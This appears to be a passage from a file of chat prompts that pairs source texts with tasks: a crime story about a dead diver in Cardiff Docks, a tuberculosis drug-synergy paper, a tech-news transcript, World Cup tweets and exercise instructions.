present in water, were found in the bone marrow possibly indicating the deceased did not die from drowning. There were also several interesting marks on the body, the significance of which would become apparent later. A square bruise was seen on the right side of the face and a similar one on the chest. There was also an unusual wide mark on the left wrist. One other piece of vital evidence came from examination of the diving equipment; the valve on the oxygen cylinder was closed, pointing to the fact that diving had been completed by the time the death occurred.\n\nDI Vic Miller began an investigation and looked for a connection with the West Indies. The shipping line Geest operated between South Wales and the West Indies and one of their boats- the MV Geestland had been diverted into Cardiff Docks a few weeks earlier, about the time the diver had gone missing. Crucially, it had unloaded its cargo of bananas on the north side of the Queens Dock, exactly where the body had been brought to the surface by the tug! The Geestland was brought back into Cardiff and dry docked and something very significant was quickly found. A length of chain was discovered hanging below the hull near the propeller. It was about 20 feet long and on the end was a shackle secured with a nut and bolt. That answered a question that had been puzzling the officers ever since the body had been found; an unexplained spanner had been discovered tied to the wet suit chest. When the spanner was matched to the shackle, they were an exact fit. And one of the Geestland’s engineers told of hearing a strange metallic sound coming from the hull during the voyage from the West Indies. A picture was emerging and the police suspected that a container had been secured to the ship’s hull before the vessel left the West Indies and was to be recovered when the ship arrived in the UK. The dead diver was apparently part of a well-organised drug running syndicate!\n\nFollowing a different line of enquiry, the man who had made the anonymous calls was traced and he identified the deceased as his friend- Peter Macdonald Jones. The dead man’s mother told police that he had had a girlfriend known as ‘The Duchess’ who worked at a department store in Reading. At the store, a former employee was tracked to South Wales and enquiries at a store in Cardiff found that a new member of staff had recently been distressed; she had confided to a colleague that her boyfriend had died. Back in Reading, enquiries established that there were connections to some fairly undesirable people involved in the local drug scene.\n\nThe woman, known as ‘The Duchess’, was arrested and immediately lied about her identity. Realising she may have made a mistake she fell silent and remained that way throughout an initial interview. She was taken home for a search of her flat in Newport. At first, nothing incriminating was found nor was there anything to link her to Peter Jones or even to Reading. Seemingly, she was a woman without a past but as the search progressed, officers noticed that the only indication of any wealth in the flat were two original paintings by L.S. Lowery on the lounge wall. DI Miller examined the paintings and took the back off them. Between the canvas and the backboard of one was a photograph of Peter Jones and in the second was a photograph of her and Peter together. Here was the connection the police had been searching for.\n\nWith her boyfriend dead, The Duchess could see that she had nowhere else to go and her best option now was to help the police. Over time, DI Vic Miller established a rapport and her story was slowly unravelled; it proved to be a revealing story indeed. She had been set up in the flat by her boyfriend, Peter Jones, and his associate, James Timothy for the purpose of providing ‘a safe house’ for drug importation operations in South Wales. Jones was a married man and lived in Reading as did Timothy, who was believed to be heavily involved in the drugs underworld. Almost every month she would meet the two men and a canister of drugs would be recovered from a ship bringing bananas from the West Indies. She would fetch the drugs from the docks and drive them to an address in Reading, having been given a cover story in case she was stopped. The operation had been going on for nearly five years, and each consignment meant anything up to £500,000 in street value. It was understood that no-one involved in the drug trafficking should display any outward sign of wealth. Recently though, Peter Jones had begun to deviate from the rules and shortly before he died he had put down a £5,000 deposit on a Porsche motor car. He had also purchased a plot of land in a residential area in Barbados and was having a bungalow built. It was not a wise move; Timothy had learned of the deposit on the car from an associate in Reading\n\nBoth Timothy and Jones were experienced divers and on that March night in 1982 they set out on one more drug recovery operation from beneath a ship. They were probably expecting the Geestland to be at Barry Docks but bad weather made Cardiff a preferred option. It was a foul night when The Duchess drove Peter Jones and James Timothy to Cardiff Docks- a gale was blowing and it was lashing with rain- in many respects perfect conditions to undertake their hazardous activity, safe from casual observation. The men changed into their diving gear and as usual it was arranged they would be dropped off by The Duchess who would return later to avoid having the car attract attention. Through the rain and the darkness, she watched them descend the steps into the uninviting water and then left; she would not see Peter Jones again.\n\nThe Duchess returned at the prearranged time but Timothy came back to the car alone. He had his diving kit but there was no sign of any drugs and he was vague and evasive about what had happened to Peter Jones. As they waited for around half an hour The Duchess became angry and began to panic, believing that Timothy had done something to him. Eventually, she drove Timothy to Newport, intending to go back and look for Jones in daylight. Timothy led her to believe that an argument had taken place about the drugs and that he had ended up hitting Jones with a lead diving belt and he had fallen back into the water. Timothy had returned to the car believing that Jones would get out alright, but obviously he had not. The Duchess made enquiries herself amongst other drug dealers to see if Jones had been heard of but she did not go as far as reporting her missing man to the police.\n\nWith the discovery of the body the investigation had intensified. One aspect concentrated on the enquiry to trace and interview Timothy, whilst others took on many of the other lines of enquiry including the Reading connection. Many long hours were spent as enquiries spread the length and breadth of the land. Officers learnt that both Peter Jones and James Timothy had contacts in the West Indies and had recently visited the islands. There was evidence that Timothy and Jones had been associates for ten years at least and both had bought diving equipment from the same shop in Falmouth five years previously.\n\nBy the middle of June, Timothy had been arrested, taken to Cardiff and interviewed at the BTP Divisional HQ. But throughout the interview he made no reply except to indicate he did not wish to answer questions. His reply was always the same and he never once lost his cool or became perturbed- he simply remained silent. Despite the serious allegations, Timothy was allowed bail and was interviewed on a further five or six occasions. The only variation from his veil of silence was an occasional stock answer- “I have never murdered anyone in my life. I have the highest regard for human life.”\n\nThe truth about the events that took place in the dark on the quayside at the Queen Alexandra Dock between Jones and Timothy has never been established. The police investigation had always been led with a murder or manslaughter charge in mind but although there was plenty of circumstantial evidence it was insufficient to bring a charge of homicide. No drugs were ever recovered by the police as a result of this incident, nor were any seen by The Duchess when she collected Timothy. It is not beyond the realms of possibility that there were no drugs there to be recovered. Had Jones or someone else intercepted the haul when the vessel was at an American port during its voyage? And if this was not the first consignment to go missing, was someone doing a bit of freelance work, in the USA perhaps? It may be significant that Jones’ passport showed that he had recently returned to the UK from Barbados via Florida.\n\nJames Timothy was charged with conspiring with Peter Macdonald Jones and others to import controlled drugs at Cardiff Docks. He pleaded not guilty at Cardiff Crown Court but was convicted and sentenced to 7 years imprisonment. No person was ever charged in connection with the death of Peter Macdonald Jones, the dead frogman of Cardiff Docks.' +'explain in detail the summary of this paper in no less than 1000 words? ABSTRACT\nTuberculosis (TB) imposes a major burden on global public health which is exacerbated by the escalating number of multidrug-resistant (MDR)-TB cases. There is consequently an urgent need for new anti-TB drugs and combination regimens. We have investigated the natural product antibiotic fusidic acid (FA) for repurposing against Mycobacterium tuberculosis, the causative agent of TB. Here, we report the results of synergy screens combining FA with a panel of approved anti-TB agents. Checkerboard and time-kill kinetics assays identified seven compounds from different chemical classes that synergized with FA in inhibiting the growth of M. tuberculosis in vitro: rifampicin (RIF), a rifamycin and frontline anti-TB drug; the macrolides, erythromycin (ERY), clarithromycin (CLR), and roxythromycin (ROX); the oxazolidinone, linezolid (LZD); the aminoglycoside, streptomycin (STR); and the aminocyclitol, spectinomycin (SPC). Among these, the strongest synergies were observed where FA was combined with SPC and ERY. Moreover, the FA-RIF combination was cidal, while all other FA combinations were bacteriostatic. These results provide in vitro evidence of the potential utility of FA-containing combinations against M. tuberculosis.\n\nINTRODUCTION\nCombination therapy is essential to the clinical management of tuberculosis (TB) disease (1). Until recently, strategies to identify and advance promising combinations during early-stage pre-clinical TB drug discovery were limited. However, growing recognition of the need to identify new anti-TB drugs and regimens has re-focused attention on early-stage pre-clinical identification of synergizing combination partners for potential development (2), including drugs which are not clinically effective against TB (3, 4).\n\nAs part of a drug repurposing strategy, we utilized fusidic acid (FA) as anchor compound in developing matrix screening assays aimed at identifying optimal drug combination(s) that might be evaluated within the existing TB drug pipeline for potential clinical efficacy. FA, a translational inhibitor with demonstrated (albeit moderate) activity in vitro (5, 6), was selected owing to its unique mechanism of action: specifically, inhibition of mycobacterial protein synthesis by binding to elongation factor G (EF-G) (7). The antimicrobial-potentiating effect of FA with other antibiotics including the frontline anti-TB drug, ethambutol (EMB), as well as its lack of cross-resistance to other antimicrobial classes, provided additional motivation for our choice of FA (8, 9). In this short report, we present the analysis of in vitro interactions between FA and partner compounds comprising drugs currently used in TB treatment and selected translational inhibitors, the latter selected to enable evaluation the effects of combining FA with drugs acting on the same pathway (Fig. 1), (10, 11).\n\nFigure 1.\nDownload figureOpen in new tab\nFigure 1.\nAntibiotic targets in protein synthesis:\nSchematic representation indicating known and predicted target sites of antibiotics disrupting different stages in the (myco)bacterial translation pathway. The tRNA binding sites - amino acid (A), peptide (P), and exit (E) - on the ribosome are indicated. Adopted and modified from Wilson et al. (10).\n\nRESULTS\nCheckerboard assay identifies synergistic drug combination partners for fusidic acid\nTo identify potential partners of FA, our preliminary screens utilized Mycobacterium smegmatis mc2155, a fast-growing, non-pathogenic mycobacterium which has been exploited as a useful surrogate in drug efficacy studies in vitro. In standard two-drug checkerboard experiments (Table S1), SPC, ERY, CLR and TET exhibited synergy with FA, defined as FICI ≤ 0.5. These combinations displayed a 4-to 16-fold reduction in MIC90 for each of the individual drugs (Fig. S1). No antagonistic effects were observed with any of the combinations tested.\n\nThe synergies detected in M. smegmatis informed subsequent selection of combination partners for evaluation in M. tuberculosis using the checkerboard method. In addition, representative drugs consisting of clinically used anti-TB agents (first- and second-line) and selected translational inhibitors were tested in combination with FA. For these assays, a M. tuberculosis H37Rv reporter strain expressing green fluorescent protein (GFP) was used, as described previously (12). Fig. S2 provides an example of an interaction study in which FA and ERY were analysed in the checkerboard assay. Results in Table 1 show similarity to those obtained for M. smegmatis, such that SPC, ERY and CLR exhibited synergy with FA against M. tuberculosis. The combination of FA and ERY returned a FICI value of 0.25, indicating a synergistic interaction (Fig. S2A). Other drugs that synergized with FA included RIF, STR, roxithromycin (ROX), and LZD. These synergistic interactions generally resulted in 4-to 8-fold reductions in the MICs of each drug within the combination. Even though the combination of FA and BDQ did not result in a FICI value of ≤ 0.5, it is important to note that the two displayed approximately a 4-fold reduction in their respective MICs, and the observed FICI (0.55) was very close to that defined as “synergy”. No antagonistic interaction was observed between FA and any of the compounds tested. For the combinations exhibiting synergy with FA, isobolograms were constructed by plotting the FIC curves of the FA-drug combinations (Fig. S3). Interactions between FA and ERY, SPC, and RIF were well within the synergy region (FICI < 0.5) whereas FA with STR, LZD, and ROX indicated borderline synergy (FICI = 0.5). The FA-INH interaction was included as a “no interaction” control.\n\nView inlineView popup\nTable 1.\nIn vitro synergistic interaction between FA and anti TB agents or selected translational inhibitors against M. tuberculosis::gfp\n\nTo confirm results obtained using the checkerboard assay, the strongly synergistic FA-ERY combination was evaluated in a growth inhibition assay (Fig. S4). For this purpose, FA and ERY were used at 0.3 and 27 µM, respectively, since these were the concentrations at which the lowest FICI value was obtained in the checkerboard assay (Fig. S2). RIF, at a concentration of 0.015 µM, was included as a control. In the absence of drug, the population of M. tuberculosis increased over 14 days post-inoculation. In contrast, the population of viable cells remained relatively constant over the same duration when the growth medium contained the FA and ERY combination. Similarly, the medium containing FA, ERY plus sub-MIC RIF did not display any increase in the number of viable bacterial population over a 14-day period. In contrast, cultures incubated in the presence of the individual antibiotics, FA or ERY, showed equivalent growth to the untreated control.\n\nAssessing synergistic and peak plasma concentrations (Cmax) of FA synergizing drugs for optimal therapy\nAs a key consideration for the clinical potential of FA combinations, the respective concentrations at which synergy was observed were compared with the reported peak plasma concentrations (Cmax) for each drug. This is important in understanding whether the concentrations required to achieve the desired response are therapeutically feasible – and, consequently, whether the results obtained from an in vitro assay have any utility in guiding therapeutic use. Except for the FA-ERY interaction, synergies between FA and its partners were achieved at concentrations predicted to be below the maximum plasma concentrations (13, 14), suggesting that these concentrations are therapeutically achievable (Fig. S5). For example, the presence of FA decreased the MIC of SPC from 201 µM to 3.14 µM, which represents a greater than 98% reduction in the MIC (Table S2). This reduced concentration is far below the Cmax value of SPC in humans (30.8 µM), determined following a 1000 mg intramuscular dose (15).\n\nAssessing cidal versus static synergies\nTo determine whether FA interactions resulted in killing or merely inhibited the growth of M. tuberculosis, the method of Zhang et al. was utilized (16). INH, a bactericidal agent, was used as a reference drug, and all drugs were tested alone and in combination against the M. tuberculosis H37Rv::gfp bioreporter strain. Results for the bacteriostatic or cidal effects of the drug combinations with FA are illustrated (Figure 2). The FA-RIF combination displayed a MBC/MIC ratio of ≤ 2 on day 14 of evaluation, suggesting cidality. The other combinations tested – combining FA with SPC, ERY, CLR, ROX or LZD – all exhibited MBC/MIC ratios >2, implying static effects. The bacteriostatic/cidal action of individual drugs is shown in Fig. S6.\n\nFigure 2.\nDownload figureOpen in new tab\nFigure 2.\nBactericidal versus static effects of drug combinations against M. tuberculosis.\nAnalysis of FA in combination with synergizing drugs; ERY, SPC, CLR, ROX, RIF, and LZD. INH was used as reference drug. MBC/MIC ratio ≤2: cidal; MBC/MIC ratio > 2: static. \\*Sub-inhibitory concentrations of FA that exhibited the respective synergies in these checkerboard experiments are between (0.3 – 1.2 µM) Data are from a representative experiment performed in triplicate. Error bars indicate standard deviations, calculated from the mean of triplicate samples.\n\nFA synergizing partners are active against the FA-resistant mutant\nA cross-resistance study was performed using a FA-resistant M. tuberculosis mutant carrying H462Y mutation in fusA1(11). The FA-resistant mutant exhibited >100-fold MIC compared to the FA-susceptible parental strain. Six synergistic FA partner drugs – RIF, SPC, CLR, ERY, STR and ROX – were evaluated using the resazurin reduction microplate assay (REMA). The results (Fig. S7) indicated that the MIC90 values of these drugs remained the same against the FA-resistant mutant relative to the wild-type strain, confirming that there was no cross-resistance to each of the tested compounds.\n\nInteraction of FA synergizing partners with selected chemically unrelated compounds\nUsing a set of six chemically and structurally diverse drug agents (Table S3), a combination assay was performed with four drugs that had displayed synergistic interaction with FA: RIF, ERY, CLR and SPC. The aim was to determine whether these compounds displayed synergy only with FA or exhibited a wider spectrum of synergistic interactions. The results of these pairwise combinations (Figure 3) revealed potentiating interactions between all FA synergizing partners (except RIF) and THS, BDQ and CPZ. CLR displayed strong synergies with BDQ and CPZ (FICI = 0.23 in both cases). The interaction between SPC and INH was also synergistic, while the remaining compounds (EMB and MOX) exhibited no interactions in combination with RIF, ERY, CLR and SPC.\n\nFigure 3.\nDownload figureOpen in new tab\nFigure 3.\nDrug interaction study.\nPairwise interactions between selected drugs (blue fonts) and synergizing agents (black fonts) of FA (using M. tuberculosis H37Rv::gfp. Red panels indicate synergistic interactions (FICI ≤ 0.5), while green panels are no interaction (0.5 < FICI ≤ 4). The bars indicate the fold-reduction in MIC required to achieve the same effect in combination versus single-drug assays. For example, in the interaction between RIF and MOX, top right-hand panel, the FIC for RIF = 0.45 (black bar) and MOX = 0.9 (blue bar). The resulting FICI for RIF-MOX = 1.35 (green bar) which indicates an additive interaction. Data are from the representative experiment performed in duplicate.' +"summarize this transcript:\n\namd's giving us old goods and can't work\nwith new Goods motherboards that connect\nfrom the back and this thing's faster\nthan the 4090 let's get in the hot news\neverybody I'm your bright host we're\ngonna be going over the hottest Tech\nnews I can find on the internet while\nyou enjoy your breakfast and we're gonna\nstart off today talking about a new CPU\nthat amd's dropping get ready for it\nit's the ryzen 3\non a Zen 2 process that came out in the\nat retail by AMD this is something that\nis kind of late a lot of the 4000 series\napus didn't actually make it to retail\nbecause AMD only wanted to ship them to\ncompanies like Dell Lenovo all the types\nof oems that would sell it straight to\nyou as a consumer so that's actually how\nyou usually saw a lot of reviews of\nthese chips is that they had to buy them\nout of the systems but now finally AMD\nis bringing this to us which kinda is\nhow they've been approaching the low end\nside of their chip Market you see the\ncheapest CPU that they launched was the\nryzen 5 5600x at 299 the 5600 came in a\nlittle bit cheaper than that recently\nbut nothing under the 200 Mark and if\nAMD is going to be giving us really\ncheap CPUs it's going to be stuff that's\nGenerations old because then they can\nactually make a decent margin on them\nbecause it's already been worked out as\nopposed to trying to give us something\nnew that's good that's capable for 99\nand the last time they even tried to do\nthat with the ryzen 3 3100 3300x they\nnever really officially put enough stock\nbehind them if you want to know how the\nryzen 4300g is going to perform you can\nwatch this video where we released a\nreview of the 5300g which is essentially\nthe same chip that's right AMD released\na follow-up to this CPU before they're\nactually releasing it to you that you\ncan buy it get ready for it but AMD\nwhile they're giving us old Goods they\ncan't get ready for the new Goods which\nis the Corsair and crucial's new 24 and\nchange the market and how much RAM you\ncan actually have in your system no more\nnumbers but AMD has not had official\nsupport for it at the current moment\nb650 not supporting it Intel has\nlaunched bioses that do support this Ram\nbut AMD hasn't gotten that far however\nsome people have gotten their hands on\nthese RAM sticks and installed them into\nAMD systems and they've actually gotten\nthe systems to post to go into the BIOS\nto properly display the actual amount of\nram but when they attempt to actually go\ninto Windows it doesn't work and the\nsystem can't actually run it so it's\nhalfway there AMD just needs to give a\nlittle bit more support for the weird\nRam sizes and another weird product Lee\nand Lee wants to launch us is the o11d\nXL case that's getting the EK reflection\nscreen that is right my friends a water\nBlock in a CPU case that has water\ncooling built into the panel and now it\nalso has a 7 inch 1024 by 600 panel that\nallows you to connect it with an HDMI\ncable so that you can display whatever\nyou you want on that front section right\ndown here you can have the visibility\nbaked in from the manufacturer level\ninstead of having to install your own\nwhich you can do there's options for\nthat on Amazon you pick up little screen\ndisplays that you can pump out speaking\nof pumping out I don't know if Reese is\ngoing to pump out any ufd deals today\nbecause he and Catelyn are both meeting\nwith my wife today like by the time\nyou're watching this episode of hot news\nthey will have already had lunch\ntogether in South Africa and I'm not\nbitter in the slightest actually hurt\nmyself there yo welcome back to EFT\ndeals bringing the hottest Tech deals on\nthe internet except for yesterday when I\ndidn't\nbut I have deals today specifically\nsomething I haven't seen before which is\na compact High refresh rate monitor this\nbiotech gfv 22cb features a 22 inch\nonly 114.99 which is 28 off and then\nnext up we have this ASRock z690 steel\nLegend motherboard features an LJ 1700\nsocket for 12th gen and 13 gen support\nwith ddr4 which you can pick up for only\nprice in 30 days those are the deals you\ncan find those and more linked Down\nBelow in the video description but until\nnext time I'ma hand you off back to Brad\nfor the rest of your hot news cheers\nthanks Reese I hope you feel bad because\nyou you're hurting me and Volkswagen\nallegedly feels bad as much as the\ncorporation can feel bad for anything\nthat they've done we didn't officially\ncover this in hot news we did do a short\non this Volkswagen incident which was\nabout how there was a car theft that\ninvolved a child also being kidnapped\nand a pregnant mother being run over by\nthe Volkswagen Car Volkswagen has\ntracking built into their cars where\nyou're actually able to find out where\nthe vehicle is however because the\nperson didn't subscribe to the actual\ncar tracking officially for 150 a year\nVolkswagen chose to not help the\nauthorities out in this instance\nVolkswagen did say that they did have\nways that the authorities could have\nworked with them and that it was a ball\ndropped on VW side and they're going to\nbe issuing a make good which is going to\nallow for five years of this car\nconnectivity their car not access to be\nrolled out to Volkswagen customers for\npeople who have purchased a vehicle from\nthem Volkswagen says that this was a\nprocess failure they're working to make\nit right in the future the pregnant\nmother who got run over the last I heard\nis still in the hospital the child who\nwas abducted was found several miles\ndown the road but is safe and this is\njust a bad situation overall but the\nVolkswagen's trying I guess and then a\nlittle bit of a more light-hearted free\nupdate Sony is going to be bringing out\nthe PlayStation 5 Discord access finally\nthey've had the beta access for their\naccess 1440p vrr support and now that's\nofficially rolling out where you should\nbe able to download it even if you're\nnot part of the PlayStation beta program\nsetup but you're not going to be able to\ndownload Starfield bethesda's upcoming\nanticipated title until September 6th\nBethesda giving it another release date\nit was supposed to be released in\nNovember of last year they're going to\ngive a deeper dive on it on June 11th\nand I want to Deep dive more in on these\ntypes of different products that are\ncoming out Asus announcing the\nb760mbtf motherboard which is\nessentially a real departure from how\nmotherboards are set up if you just take\na quick little look do you notice\nanything weird about this motherboard if\nyou are paying attention that's right\nall of the Power connectors fan\nconnectors LED connectors are on the\nback of the board which makes it so that\nyour cables are routed through the back\nnow not every case that you're going to\nmount this in is going to be set up for\nthis to be successful this is going to\nhave to be a very well thought out\nsituation but because of the standards\nthat we have with ATX and other form\nfactors on motherboards this is not\nreally typical because cases don't allow\nfor a lot of of experimentation this is\nslightly similar to what gigabyte did\nwith their project stealth build that\nyou can see right here which also had no\ncables except for this one went a little\nbit further because you could plug the\nGPU in through the back whereas the Asus\nv760 board is just about the motherboard\nand if you're all about that cache that\ncrypto cash well tp-link Asic has\nsomething for you this is a miner right\nhere look at that that's a Bitcoin miner\nthat according to their reports is\nfaster than an RTX 4090 it can pull 1200\nwatts gonna set you back a cool\nCadena Miner while also being a Wi-Fi 7\nrouter it's actually sounding pretty\ngood too good almost too good to be true\na giganto Wi-Fi router that's faster\nthan an RTX 4090 at Mining and also\ngives you internet but according to\ncurrent profitability levels and the\namount of power that this thing will\nsuckle down it's going to give you a\nprofitability of a dollar forty to per\nday which means it's going to take you\nlike four or five years to break even\nexcept for in four to five years there's\ngoing to be more powerful technology and\nthat's not going to even happen so you\nneed the price of crypto to go up in\norder to make more money except for the\nfact that despite the fact that this\ncompany is called tp-link Asic which you\nwould think might be the mining\nsubsidiary arm of tp-link the company\nthat makes all of your favorite routers\nyou think it might be their you know nft\nfuture setup like Square Enix getting\ninto the blockchain it's it's not it's\naccording to tp-link this is a scam this\nis not real you shouldn't be buying it\nthe company does sell other miners I\ndon't know anything about them but while\nit looks really good too good to be true\nit's because it likely is tp-link says\nthat they're investigating they're\nlooking into it it is likely a scam\ndon't go and buy this if you see this\nbeing reported on the internet know that\nit's likely not something that you're\ngonna need to pick up you're just gonna\nhave to pick up my heart because I'm\nreally mad that I'm not in South Africa\nright now meeting with recent Catlin\nah I've seen them more for hot news" +"Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets :\n\nsourceText Time\nWhat a goal , beautiful 2-0 #FIFAWorldCup argetina dominating , france are clueless 15:36:49.0000000\n?????? beautiful goal #ARGFRA 15:36:51.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nArgentina 2nd goal was beautiful ?? 15:36:50.0000000\nArgentina second goal is pure class omg . Beautiful futbol ????? 15:36:38.0000000\nWhat a beautiful counter attack and fantastic goal!! #ArgentinaVsFrance 15:36:33.0000000\nThat goal from Argentina was why they call it the Beautiful Game 15:36:53.0000000\nbeautiful second goal Argentina ???? 15:36:56.0000000\nWow that was beautiful …what a goal #ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal by Argentina 15:36:51.0000000\nWhat a beautiful goal #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nThat's a beautiful goal ???''#ARGFRA #FIFAWorldCup 15:36:52.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\nAngel Fucking Di Maria????????????'Oh my God'This is absolutely beautiful '#ArgentinaVsFrance #FIFAWorldCup 'Goal of the tournament in terms of team work 15:36:28.0000000\nGOOOOOOOAAAL!!! ''Di Maria doubles the lead for Argentina. What a beautiful team goal. ''Argentina ???? 2???0?? France ???? ''#FifaWorldCup 15:36:50.0000000\nThat's a beautiful goal against one of the best teams in the world. Bravo, Argentina! 15:36:56.0000000\nBeautiful goal #ArgentinaVsFrance #FIFAWorldCup argies been all over France. Thoroughly deserve the 2 nil lead 15:36:48.0000000\nBeautiful Football. Beautiful Goal. THATS WHY YOU LOVE THIS BEAUTIFUL GAME! What a counter. ARGENTINA HAVE ONE HAND ON THE TROPHY!'#FIFAWorldCup 15:36:42.0000000\nDi Maria SCOOOOOOOOOORESSSS''2-0''Beautiful goal.''#WorldCupFinal 15:36:36.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nWhat a fucking goal'Absolutely beautiful ?? '#ArgentinaVsFrance #FIFAWorldCup 15:36:59.0000000\nbeautiful counter attacking goal from Argentina. France need to find a way to get Mbappe involved. 15:36:52.0000000\nThat was gorgeous wow. That was an amazing goal. I don't even want Argentina to win but I can't deny that was beautiful 15:36:36.0000000\nThat goal was beautiful ???? #WorldCupFinal 15:36:59.0000000\nArgentina came out to play. That goal was beautiful. What a performance by them so far 15:36:42.0000000\nNow that was a beautiful and well deserved goal! France is done. #WorldCupFinal 15:36:51.0000000\nBeautiful goal from Argentina!!??????????? #FIFAWorldCup 15:36:27.0000000\nBeautiful goal Argentina ???? 15:36:39.0000000\nWhat a beautiful set up & goal by Argentina!!! 15:36:29.0000000\nWHAT A BEAUTIFUL GOAL!!! #ARGFRA #WorldCupFinal #ArgentinaVsFrance 15:36:33.0000000\nBeautiful goal.'#ARGFRA 15:35:54.0000000\nBeautiful Beautiful goal. France have not got going... 15:36:12.0000000\nWhat a ball by MacAllister!! Beautiful goal #BHAFC #ArgentinaVsFrance 15:36:52.0000000\nWhat a beautiful goal by Argentina #ArgentinaVsFrance 15:36:01.0000000\nBeautiful goal by Argentina to be fair 15:36:50.0000000\nDi Maria, beautiful goal ''#Argentina #FIFAWorldCupFinal 15:36:41.0000000\nwow that passing and goal was beautiful ''Argentina is not playing today ''#FIFAWorldCup #Arg 15:36:55.0000000\nOooof. Worst part is -- it's a beautiful goal and well deserved. #ArgentinaVsFrance 15:36:27.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nJust beautiful football. Beautiful goal #ArgentinaVsFrance #WorldCupFinal 15:36:32.0000000\nArgentina deserves this. Team work and a goal. That is just beautiful ????????. #Yearofthegoat 15:36:40.0000000\nBeautiful goal Argentina 15:36:04.0000000\nWhat a beautiful goal by Argentina Jesus Christ 15:36:09.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:19.0000000\nBeautiful goal. ??? Fantastic. #ArgentinaVsFrance #FIFAWorldCup #FIFAWorldCupFinal 15:36:13.0000000\nBeautiful goal by Argentina 15:36:10.0000000\nBeautiful goal?????? #ArgentinaVsFrance 15:36:10.0000000\nBeautiful goal from Argentina. 15:36:15.0000000\nWhat a beautiful goal! #ArgentinaVsFrance 15:36:08.0000000\nFucking beautiful SECOND GOAL''LEGGGOOO ARGENTINA ???????? 15:36:55.0000000\nWhat a beautiful goal!!!! #ArgentinaVsFrance 15:36:40.0000000\nBeautiful goal! Just beautiful…. #ARGFRA #WorldCupFinal 15:36:06.0000000\nARGENTINA WHAT A BEAUTIFUL GOAL!!! 15:36:24.0000000\nBeautiful Goal!!!! #ArgentinaVsFrance #FIFAWorldCup #Messi??day 15:36:39.0000000\nBeautiful goal #ArgentinaVsFrance 15:36:57.0000000\nWhat a beautiful goal damnnnn ?? Go on Argentina!!!! 15:36:00.0000000\n2-0! What a beautiful goal! ?? #FIFAWorldCup #ArgentinaVsFrance 15:36:33.0000000\nWhat a beautiful goal #ARGFRA 15:36:11.0000000\nThat was terrific! ''That was absolutely beautiful! ''This goal was fully deserved!!''#FIFAWorldCupFinal #ArgentinaVsFrance #Messi?? 15:36:25.0000000\nBeautiful fucken second goal by Argentina hahahaha omg that was a team goal 15:36:57.0000000\nDamn that was a beautiful sequence for the 2-0 Argentina goal?? 15:36:29.0000000\nThat'Was'BEAUTIFUL FOOTBALL ''WWWWOOOOWWWWW''Look at how they turned a France half chance to a PERFECT Argentine counter and goal!''Whole French Midfield and Defense in straight shambles 15:36:59.0000000\nWhat a beautiful goal that was ???? #ArgentinaVsFrance 15:36:19.0000000\nAbsolutely beautiful goal by Argentina. Perfection. 15:36:40.0000000\nThat’s a beautiful, beautiful goal by Argentina 15:36:45.0000000\nBeautiful goal by Di Maria #ArgentinaVsFrance #FIFAWorldCup 15:36:18.0000000\nTHAT WAS A BEAUTIFUL GOAL FROM ARGENTINA 15:36:49.0000000\nwhat a beautiful goal #ARGFRA 15:36:18.0000000\nCalled it. This one goal was fucking beautiful! #ARGFRA 15:35:55.0000000\nThat goal was BEAUTIFUL #ARGFRA 15:36:19.0000000\nWhat a beautiful Argentina goal. 15:35:56.0000000\nBeautiful Argentina goal!! What a cross!!!! #FIFAWorldCup #ArgentinaVsFrance 15:36:42.0000000\nWhat a beautiful goal by Argentina. #FIFAWorldCup 15:36:55.0000000\nThat was such a beautiful goal, it was seamless and effortless. Messi has one hand on the #WorldCup trophy 2-0 #ArgentinaVsFrance #Qatar2022 15:36:53.0000000\nWhat a beautiful goal! So we’ll played by Argentina. 15:36:58.0000000\nThat was a beautiful goal!! ?? #WorldCupFinal 15:36:29.0000000\nBEAUTIFUL GOAL FROM ARGENTINA WTF 15:36:29.0000000\nYESSS WHAT A BEAUTIFUL GOAL BY ARGENTINA 15:36:29.0000000\nWhat a beautiful goal! One touch football!! Orgasmic play from Argentina ???? 15:36:50.0000000\nOh my word. Argentina deserve the trophy for that goal alone. Absolutely beautiful ?? #WorldCupFinal 15:36:30.0000000\nBeautiful goal in the run of play. Argentina is completely dominating France. 15:36:40.0000000\nThat is a beautiful goal. What a move by Argentina. #ArgentinaVsFrance #FIFAWorldCup 15:36:38.0000000\nThat’s a beautiful and perfect goal for Argentina 15:36:25.0000000\nWhat a beautiful goal, vamos Argentina!!! 15:36:55.0000000\nThat was a beautiful goal! 2-0 Argentina in the 36th minute. 15:36:50.0000000\nDI MARIA WHAT A BEAUTIFUL FUCKING GOAL ARGENTINA WHAT A BEAUTIFUL FUCKING PLAY 15:36:23.0000000\nWhat. A. Beautiful. Goal. #ArgentinaVsFrance #FIFAWorldCup 15:36:54.0000000\nBeautiful second goal for Argentina omg yesss 15:35:56.0000000\nThat was such a beautiful goal for Argentina 15:36:50.0000000\nArgentina ???? what a beautiful goal!!! 15:36:22.0000000\nChampagne football ?? Beautiful team goal ???? #ArgentinaVsFrance 15:36:29.0000000\nThat was a beautiful goal ''Thats a wrap France are no coming back from this 15:36:55.0000000\nBeautiful ball movement by Argentina on that goal''#WorldCupFinal 15:36:59.0000000\nBeautiful second goal.'Just beautiful #ArgentinaVsFrance #WorldCup 15:35:53.0000000\nBeautiful goal! #FIFAWorldCupFinal ???? 15:36:27.0000000\n2-0!!!!!!!!!! Argentina!!!!!!!! What a beautiful goal!!!!!!!!! ????'#FIFAWorldCup #WorldCup 15:36:32.0000000\nWhat a beautiful goal. 'France are asleep 15:36:45.0000000\nBeautiful team goal worthy of the finals #WorldCup 'Argentina deserves to win this better team all game 15:36:57.0000000\nBeautiful goal!!! #WorldCup #ArgentinaVsFrance 15:36:27.0000000\nBeautiful goal. France have been shocking 15:35:58.0000000" +'EXERCISE 2\nThe Bridge\nThe bridge accomplishes several things. It wakes up the gluteal muscles (the big muscles in your buttocks). It reinforces spinal stabilization. It builds endurance and strength in the muscles on the front and back of the core. And it is the precursor to doing a proper squat, which comes later in the book. \nDo the bridge as follows:\nStep 1: Lie on your back, with your arms at your side, legs hip-width apart.\nStep 2: Find your neutral spine and brace your core to lock it in.\n\nStep 3: Bend your 